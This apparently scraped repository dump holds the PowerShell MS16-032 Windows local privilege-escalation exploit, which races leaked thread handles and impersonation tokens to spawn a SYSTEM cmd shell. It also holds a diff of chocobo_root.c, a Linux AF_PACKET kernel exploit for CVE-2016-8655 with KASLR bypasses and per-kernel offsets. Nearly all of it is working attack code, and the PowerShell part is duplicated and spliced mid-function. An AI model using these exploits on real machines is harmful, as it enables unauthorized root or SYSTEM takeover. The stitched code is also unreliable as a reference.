[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenThreadToken(
|
||||
IntPtr ThreadHandle,
|
||||
int DesiredAccess,
|
||||
bool OpenAsSelf,
|
||||
out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenProcessToken(
|
||||
IntPtr ProcessHandle,
|
||||
int DesiredAccess,
|
||||
ref IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public extern static bool DuplicateToken(
|
||||
IntPtr ExistingTokenHandle,
|
||||
int SECURITY_IMPERSONATION_LEVEL,
|
||||
ref IntPtr DuplicateTokenHandle);
|
||||
}
|
||||
|
||||
public static class Kernel32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetLastError();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentThread();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern int GetThreadId(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern int GetProcessIdOfThread(IntPtr handle);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int SuspendThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool TerminateProcess(
|
||||
IntPtr hProcess,
|
||||
uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
ref IntPtr lpTargetHandle,
|
||||
int dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
int dwOptions);
|
||||
}
|
||||
|
||||
public static class Ntdll
|
||||
{
|
||||
[DllImport("ntdll.dll", SetLastError=true)]
|
||||
public static extern int NtImpersonateThread(
|
||||
IntPtr ThreadHandle,
|
||||
IntPtr ThreadToImpersonate,
|
||||
ref SQOS SecurityQualityOfService);
|
||||
}
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SQOS
|
||||
{
|
||||
public int Length;
|
||||
public int ImpersonationLevel;
|
||||
public int ContextTrackingMode;
|
||||
public bool EffectiveOnly;
|
||||
}
|
||||
|
||||
public static class Advapi32
|
||||
{
|
||||
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(
|
||||
String userName,
|
||||
String domain,
|
||||
String password,
|
||||
int logonFlags,
|
||||
String applicationName,
|
||||
String commandLine,
|
||||
int creationFlags,
|
||||
int environment,
|
||||
String currentDirectory,
|
||||
ref STARTUPINFO startupInfo,
|
||||
out PROCESS_INFORMATION processInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool SetThreadToken(
|
||||
ref IntPtr Thread,
|
||||
IntPtr Token);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenThreadToken(
|
||||
IntPtr ThreadHandle,
|
||||
int DesiredAccess,
|
||||
bool OpenAsSelf,
|
||||
out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenProcessToken(
|
||||
IntPtr ProcessHandle,
|
||||
int DesiredAccess,
|
||||
ref IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public extern static bool DuplicateToken(
|
||||
IntPtr ExistingTokenHandle,
|
||||
int SECURITY_IMPERSONATION_LEVEL,
|
||||
ref IntPtr DuplicateTokenHandle);
|
||||
}
|
||||
|
||||
public static class Kernel32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetLastError();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentThread();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern int GetThreadId(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern int GetProcessIdOfThread(IntPtr handle);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int SuspendThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool TerminateProcess(
|
||||
IntPtr hProcess,
|
||||
uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
ref IntPtr lpTargetHandle,
|
||||
int dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
int dwOptions);
|
||||
}
|
||||
|
||||
public static class Ntdll
|
||||
{
|
||||
[DllImport("ntdll.dll", SetLastError=true)]
|
||||
public static extern int NtImpersonateThread(
|
||||
IntPtr ThreadHandle,
|
||||
IntPtr ThreadToImpersonate,
|
||||
ref SQOS SecurityQualityOfService);
|
||||
}
|
||||
"@
|
||||
|
||||
function Get-ThreadHandle {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
|
||||
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -ErrorAction SilentlyContinue -Verbose).FullName
|
||||
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, "C:\Windows\System32\cmd.exe", "",
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
function Get-ThreadHandle {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
|
||||
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
|
||||
$lpTargetHandle = [IntPtr]::Zero
|
||||
$CallResult = [Kernel32]::DuplicateHandle(
|
||||
$ProcessInfo.hProcess, 0x4,
|
||||
[Kernel32]::GetCurrentProcess(),
|
||||
[ref]$lpTargetHandle, 0, $false,
|
||||
0x00000002)
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
|
||||
$lpTargetHandle
|
||||
}
|
||||
|
||||
function Get-SystemToken {
|
||||
echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
|
||||
|
||||
$CallResult = [Kernel32]::SuspendThread($hThread)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] $hThread is a bad thread, exiting.."
|
||||
Return
|
||||
} echo "[+] Thread suspended"
|
||||
|
||||
echo "[>] Wiping current impersonation token"
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
|
||||
if (!$CallResult) {
|
||||
echo "[!] SetThreadToken failed, exiting.."
|
||||
$CallResult = [Kernel32]::ResumeThread($hThread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[>] Building SYSTEM impersonation token"
|
||||
# SecurityQualityOfService struct
|
||||
$SQOS = New-Object SQOS
|
||||
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
|
||||
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
|
||||
# Undocumented API's, I like your style Microsoft ;)
|
||||
$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] NtImpersonateThread failed, exiting.."
|
||||
$CallResult = [Kernel32]::ResumeThread($hThread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
# Null $SysTokenHandle
|
||||
$script:SysTokenHandle = [IntPtr]::Zero
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
|
||||
$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
|
||||
if (!$CallResult) {
|
||||
echo "[!] OpenThreadToken failed, exiting.."
|
||||
$CallResult = [Kernel32]::ResumeThread($hThread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
|
||||
echo "[+] Resuming thread.."
|
||||
$CallResult = [Kernel32]::ResumeThread($hThread)
|
||||
}
|
||||
|
||||
# main() <--- ;)
|
||||
$ms16032 = @"
|
||||
__ __ ___ ___ ___ ___ ___ ___
|
||||
| V | _|_ | | _|___| |_ |_ |
|
||||
| |_ |_| |_| . |___| | |_ | _|
|
||||
|_|_|_|___|_____|___| |___|___|___|
|
||||
|
||||
[by b33f -> @FuzzySec]
|
||||
"@
|
||||
|
||||
$ms16032
|
||||
|
||||
# Check logical processor count, race condition requires 2+
|
||||
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
|
||||
if ($([System.Environment]::ProcessorCount) -lt 2) {
|
||||
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[>] Duplicating CreateProcessWithLogonW handle"
|
||||
$hThread = Get-ThreadHandle
|
||||
|
||||
# If no thread handle is captured, the box is patched
|
||||
if ($hThread -eq 0) {
|
||||
echo "[!] No valid thread handle was captured, exiting!`n"
|
||||
Return
|
||||
} else {
|
||||
echo "[?] Done, using thread handle: $hThread"
|
||||
} echo "`n[*] Sniffing out privileged impersonation token.."
|
||||
|
||||
# Get handle to SYSTEM access token
|
||||
Get-SystemToken
|
||||
|
||||
# If we fail a check in Get-SystemToken, exit
|
||||
if ($SysTokenHandle -eq 0) {
|
||||
Return
|
||||
}
|
||||
|
||||
echo "`n[*] Sniffing out SYSTEM shell.."
|
||||
echo "`n[>] Duplicating SYSTEM token"
|
||||
$hDuplicateTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
|
||||
|
||||
# Simple PS runspace definition
|
||||
echo "[>] Starting token race"
|
||||
$Runspace = [runspacefactory]::CreateRunspace()
|
||||
$StartTokenRace = [powershell]::Create()
|
||||
$StartTokenRace.runspace = $Runspace
|
||||
$Runspace.Open()
|
||||
[void]$StartTokenRace.AddScript({
|
||||
Param ($hThread, $hDuplicateTokenHandle)
|
||||
while ($true) {
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
|
||||
}
|
||||
}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
|
||||
$AscObj = $StartTokenRace.BeginInvoke()
|
||||
|
||||
echo "[>] Starting process race"
|
||||
# Adding a timeout (10 seconds) here to safeguard from edge-cases
|
||||
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
||||
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $cmd, $args1,
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
#---
|
||||
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
|
||||
#---
|
||||
# Missing this check used to cause the exploit to fail sometimes.
|
||||
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
|
||||
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
|
||||
# reliable now!
|
||||
#---
|
||||
if (!$CallResult) {
|
||||
continue
|
||||
}
|
||||
|
||||
$hTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
|
||||
# If we can't open the process token it's a SYSTEM shell!
|
||||
if (!$CallResult) {
|
||||
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
|
||||
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
echo "$end"
|
||||
Return
|
||||
}
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
$path1 = $env:windir
|
||||
$path1 = "$path1\System32\cmd.exe"
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $path1, "",
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
}
|
||||
|
||||
# Kill runspace & stopwatch if edge-case
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
#}
|
||||
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
|
||||
$lpTargetHandle = [IntPtr]::Zero
|
||||
$CallResult = [Kernel32]::DuplicateHandle(
|
||||
$ProcessInfo.hProcess, 0x4,
|
||||
[Kernel32]::GetCurrentProcess(),
|
||||
[ref]$lpTargetHandle, 0, $false,
|
||||
0x00000002)
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
|
||||
$lpTargetHandle
|
||||
}
|
||||
|
||||
function Get-SystemToken {
|
||||
echo "`n[?] Trying thread handle: $Thread"
|
||||
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
|
||||
|
||||
$CallResult = [Kernel32]::SuspendThread($Thread)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] $Thread is a bad thread, moving on.."
|
||||
Return
|
||||
} echo "[+] Thread suspended"
|
||||
|
||||
echo "[>] Wiping current impersonation token"
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
|
||||
if (!$CallResult) {
|
||||
echo "[!] SetThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[>] Building SYSTEM impersonation token"
|
||||
# SecurityQualityOfService struct
|
||||
$SQOS = New-Object SQOS
|
||||
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
|
||||
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
|
||||
# Undocumented API's, I like your style Microsoft ;)
|
||||
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] NtImpersonateThread failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
$script:SysTokenHandle = [IntPtr]::Zero
|
||||
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
|
||||
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
|
||||
if (!$CallResult) {
|
||||
echo "[!] OpenThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
|
||||
echo "[+] Resuming thread.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
}
|
||||
|
||||
# main() <--- ;)
|
||||
|
||||
# Check logical processor count, race condition requires 2+
|
||||
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
|
||||
if ($([System.Environment]::ProcessorCount) -lt 2) {
|
||||
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
|
||||
Return
|
||||
}
|
||||
|
||||
# Create array for Threads & TID's
|
||||
$ThreadArray = @()
|
||||
$TidArray = @()
|
||||
|
||||
echo "[>] Duplicating CreateProcessWithLogonW handles.."
|
||||
# Loop 1 is fine, this never fails unless patched in which case the handle is 0
|
||||
for ($i=0; $i -lt 1; $i++) {
|
||||
$hThread = Get-ThreadHandle
|
||||
$hThreadID = [Kernel32]::GetThreadId($hThread)
|
||||
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
|
||||
if ($TidArray -notcontains $hThreadID) {
|
||||
$TidArray += $hThreadID
|
||||
if ($hThread -ne 0) {
|
||||
$ThreadArray += $hThread # This is what we need!
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($($ThreadArray.length) -eq 0) {
|
||||
echo "[!] No valid thread handles were captured, exiting!"
|
||||
Return
|
||||
} else {
|
||||
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
|
||||
echo "`n[?] Thread handle list:"
|
||||
$ThreadArray
|
||||
}
|
||||
|
||||
echo "`n[*] Sniffing out privileged impersonation token.."
|
||||
foreach ($Thread in $ThreadArray){
|
||||
|
||||
# Get handle to SYSTEM access token
|
||||
Get-SystemToken
|
||||
|
||||
echo "`n[*] Sniffing out SYSTEM shell.."
|
||||
echo "`n[>] Duplicating SYSTEM token"
|
||||
$hDuplicateTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
|
||||
|
||||
# Simple PS runspace definition
|
||||
echo "[>] Starting token race"
|
||||
$Runspace = [runspacefactory]::CreateRunspace()
|
||||
$StartTokenRace = [powershell]::Create()
|
||||
$StartTokenRace.runspace = $Runspace
|
||||
$Runspace.Open()
|
||||
[void]$StartTokenRace.AddScript({
|
||||
Param ($Thread, $hDuplicateTokenHandle)
|
||||
while ($true) {
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
|
||||
}
|
||||
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
|
||||
$AscObj = $StartTokenRace.BeginInvoke()
|
||||
|
||||
echo "[>] Starting process race"
|
||||
# Adding a timeout (10 seconds) here to safeguard from edge-cases
|
||||
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
||||
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $cmd, $args1,
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
#---
|
||||
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
|
||||
#---
|
||||
# Missing this check used to cause the exploit to fail sometimes.
|
||||
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
|
||||
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
|
||||
# reliable now!
|
||||
#---
|
||||
if (!$CallResult) {
|
||||
continue
|
||||
}
|
||||
|
||||
$hTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
|
||||
|
||||
# If we can't open the process token it's a SYSTEM shell!
|
||||
if (!$CallResult) {
|
||||
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
|
||||
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
Return
|
||||
}
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
}
|
||||
|
||||
# Kill runspace & stopwatch if edge-case
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
}
|
||||
exit
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,7 +1,7 @@
|
||||
/*
|
||||
chocobo_root.c
|
||||
linux AF_PACKET race condition exploit for CVE-2016-8655.
|
||||
Includes KASLR and SMEP bypasses. No SMAP bypass.
|
||||
Includes KASLR and SMEP/SMAP bypasses.
|
||||
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
|
||||
All kernel offsets have been tested on Ubuntu / Linux Mint.
|
||||
|
||||
@@ -11,7 +11,7 @@ user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ id
|
||||
uid=1000(user) gid=1000(user) groups=1000(user)
|
||||
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread -Wall
|
||||
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
|
||||
user@ubuntu:~$ ./chocobo_root
|
||||
linux AF_PACKET race condition exploit by rebel
|
||||
kernel version: 4.4.0-51-generic #72
|
||||
@@ -75,7 +75,7 @@ Updated by <bcoles@gmail.com>
|
||||
- check number of CPU cores
|
||||
- KASLR bypasses
|
||||
- additional kernel targets
|
||||
https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655
|
||||
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
@@ -85,13 +85,13 @@ https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655
|
||||
#include <pthread.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
@@ -102,6 +102,12 @@ https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/sched.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
@@ -110,18 +116,9 @@ https://github.com/bcoles/kernel-exploits/tree/master/CVE-2016-8655
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_SYSTEM_CHECKS 1
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
# define KERNEL_BASE_MIN 0xffffffff00000000ul
|
||||
# define KERNEL_BASE_MAX 0xffffffffff000000ul
|
||||
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
|
||||
# define ENABLE_KASLR_BYPASS_SYSLOG 1
|
||||
# define ENABLE_KASLR_BYPASS_MINCORE 1
|
||||
#endif
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions()
|
||||
@@ -134,7 +131,6 @@ const char *SYSCTL_PATH = "/proc/sys/hack";
|
||||
volatile int barrier = 1;
|
||||
volatile int vers_switcher_done = 0;
|
||||
|
||||
// kernel target struct
|
||||
struct kernel_info {
|
||||
char *kernel_version;
|
||||
unsigned long proc_dostring;
|
||||
@@ -143,7 +139,6 @@ struct kernel_info {
|
||||
unsigned long set_memory_rw;
|
||||
};
|
||||
|
||||
// Targets
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
|
||||
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
|
||||
@@ -175,16 +170,6 @@ struct kernel_info kernels[] = {
|
||||
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
|
||||
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
|
||||
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
|
||||
|
||||
{ "4.4.0-21-lowlatency #37-Ubuntu", 0x88960, 0xe48e80, 0x28c3a0, 0x6fae0 },
|
||||
{ "4.4.0-22-lowlatency #40-Ubuntu", 0x889c0, 0xe48f00, 0x28c570, 0x6fae0 },
|
||||
